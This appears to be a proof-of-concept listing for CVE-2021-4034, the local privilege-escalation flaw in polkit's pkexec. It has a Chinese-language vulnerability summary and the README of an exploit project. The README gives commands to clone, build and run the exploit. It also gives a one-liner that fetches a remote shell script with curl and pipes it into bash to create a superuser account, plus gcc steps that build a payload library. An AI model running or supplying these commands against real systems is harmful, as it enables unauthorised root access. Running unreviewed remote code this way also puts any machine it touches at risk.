CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

Associated Vulnerability

Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞，攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后，如果目标计算机上没有权限的用户拥有管理权限，攻击可能会导致本地权限升级。

Description

CVE-2021-4034 PoC , polkit < 0.131

Readme

# poppy : CVE-2021-4034
CVE-2021-4034 PoC , polkit &lt; 0.131

## Usage

Tested on Arch Linux (Manjaro & Axyl OS)
```shell
git clone https://github.com/tahaafarooq/poppy
make
./poppy
```

**Super user creation exploit**

```shell
bash -c "$(curl -fsSL https://raw.githubusercontent.com/tahaafarooq/poppy/main/suuser.sh)"
```

```shell
gcc -shared su.c -o suuser -Wl,-e,entry -fPIC
./suuser
```


## POC
![anotherone](https://user-images.githubusercontent.com/49201347/151382446-242aa1f9-4eb9-40cf-98fb-a74aef95b668.png)

For more information about this vulnerability refer to the writeup https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

File Snapshot


 [4.0K]  /data/pocs/9ce7ff8adffac9f06046fd4b534bc59f91574a0f
├── [ 120]  Makefile
├── [ 16K]  poppy
├── [1.4K]  poppy.c
├── [ 647]  README.md
├── [1.0K]  su.c
├── [ 323]  su-o.c
├── [ 15K]  suuser
└── [ 152]  suuser.sh

0 directories, 8 files

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